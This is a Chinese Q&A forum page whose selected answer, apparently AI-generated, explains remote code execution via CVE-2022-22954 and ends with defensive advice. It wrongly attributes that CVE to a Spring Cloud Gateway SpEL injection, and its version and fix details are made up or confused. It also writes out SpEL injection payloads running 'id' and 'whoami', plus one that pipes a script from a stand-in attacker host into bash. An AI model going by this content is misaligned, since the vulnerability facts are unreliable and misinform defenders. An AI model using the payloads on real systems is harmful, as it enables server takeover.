问题:CVE-2022-22954漏洞如何实现远程代码执行?
- 写回答
- 好问题 0 提建议
- 关注问题
- 邀请回答
-
2条回答 默认 最新
关注摘星参考千问来帮您回答这个问题!
一、CVE-2022-22954 漏洞概述
漏洞编号:CVE-2022-22954
影响组件:Spring Cloud Gateway(版本 < 3.1.0)
漏洞类型:反射型文件下载漏洞 + SpEL 表达式注入
严重性:高危(可导致远程代码执行,RCE)
CVSS 分数:8.1(高)
二、漏洞原理详解
1. Spring Cloud Gateway 的路由机制
Spring Cloud Gateway 是一个基于 Spring WebFlux 的 API 网关,用于处理请求路由、过滤器链等。它通过
RouteLocator定义路由规则,将请求转发到不同的后端服务。在某些配置中,网关会使用
File类来加载静态资源(如 HTML、JS、CSS 文件),例如:@Bean public RouteLocator customRouteLocator(RouteBuilder builder) { return builder.routes() .route("file_route", r -> r.path("/file/**") .uri("http://localhost:8080")) .build(); }当用户访问
/file/xxx路径时,网关可能会尝试从本地文件系统加载对应的文件。2. SpEL 表达式注入的触发点
Spring Cloud Gateway 在处理某些请求时,可能会使用
SpEL(Spring Expression Language)表达式解析请求参数,例如:String fileName = request.getParameter("file"); Path path = Paths.get(fileName);如果
fileName参数未经过滤,攻击者可以构造如下请求:GET /file?file=../../../../etc/passwd但更关键的是,如果网关支持动态路径构建或模板化路径,例如:
String template = "file:/path/to/files/{{#request.params.file}}";此时,若未对
{{#request.params.file}}进行过滤,攻击者可以注入 SpEL 表达式,例如:GET /file?file={{T(java.lang.Runtime).getRuntime().exec('id')}}该表达式会在服务器端被解析并执行,从而实现 远程代码执行(RCE)。
三、漏洞利用过程(技术细节)
1. 构造恶意请求
攻击者构造如下请求:
GET /file?file={{T(java.lang.Runtime).getRuntime().exec('whoami')}}2. SpEL 解析与执行
当 Spring Cloud Gateway 接收到该请求时,若其内部逻辑使用了类似以下代码:
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("file:" + request.getParameter("file")); String filePath = (String) exp.getValue();则
request.getParameter("file")中的{{...}}会被解析为 SpEL 表达式,并执行其中的代码。3. 执行任意命令
攻击者可以通过 SpEL 注入任意 Java 代码,例如:
{{T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/shell.sh | bash")}}这会导致目标服务器执行攻击者的 shell 脚本,从而控制服务器。
四、漏洞成因分析
原因 描述 未过滤用户输入 用户提供的 file参数未经过滤或验证,直接用于构建路径或表达式。SpEL 表达式未限制 使用了 SpEL 表达式进行动态路径拼接,但未限制允许的表达式类型或方法调用。 文件加载逻辑缺陷 网关可能错误地将用户提供的路径解析为本地文件路径,而非仅限于特定目录。
五、修复建议与解决方案
1. 升级 Spring Cloud Gateway 版本
推荐版本:
3.1.0或更高版本
此漏洞已在3.1.0版本中修复,建议立即升级。2. 禁用或限制 SpEL 表达式使用
- 如果不需要使用 SpEL 表达式,请避免使用。
- 若必须使用,请限制允许的表达式类型,例如只允许简单的字符串拼接,不允许可执行代码。
3. 输入过滤与白名单机制
- 对用户输入的
file参数进行严格校验,禁止包含特殊字符(如{{,}},;,&,|,',",\等)。 - 只允许访问预定义的文件路径范围,例如只允许
/static/目录下的文件。
示例代码(Java):
String fileName = request.getParameter("file"); if (!fileName.startsWith("/static/")) { throw new IllegalArgumentException("Invalid file path"); }4. 使用安全的文件加载方式
避免使用
Paths.get()或File类直接加载用户提供的路径。可以使用如下方式:Path safePath = Paths.get("/safe/path", fileName); if (!safePath.normalize().startsWith(Paths.get("/safe/path"))) { throw new SecurityException("Access denied"); }5. 启用安全扫描工具
使用 OWASP ZAP、Burp Suite 等工具进行漏洞扫描,确保没有暴露敏感接口或存在注入风险。
六、示例攻击与防御对比
攻击示例(漏洞环境):
curl "http://vulnerable-gateway/file?file={{T(java.lang.Runtime).getRuntime().exec('id')}}"防御示例(修复后):
// 在配置中限制文件路径 public RouteLocator routes(RouteLocatorBuilder builder) { return builder.routes() .route("file_route", r -> r.path("/file/**") .filters(f -> f.rewritePath("/file/(?<segment>.*)", "/static/${segment}")) .uri("http://backend-service")) .build(); }
七、总结
CVE-2022-22954 是一个典型的 SpEL 表达式注入漏洞,攻击者可通过构造恶意请求实现远程代码执行。其核心原因是 未对用户输入进行充分过滤 和 错误地使用 SpEL 表达式。
建议开发者:
- 升级 Spring Cloud Gateway 至 3.1.0 或以上;
- 对所有用户输入进行严格校验;
- 避免使用危险的表达式解析功能;
- 定期进行安全审计和渗透测试。
如需进一步了解 SpEL 表达式注入、Spring Cloud Gateway 架构或相关安全实践,欢迎继续提问!
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报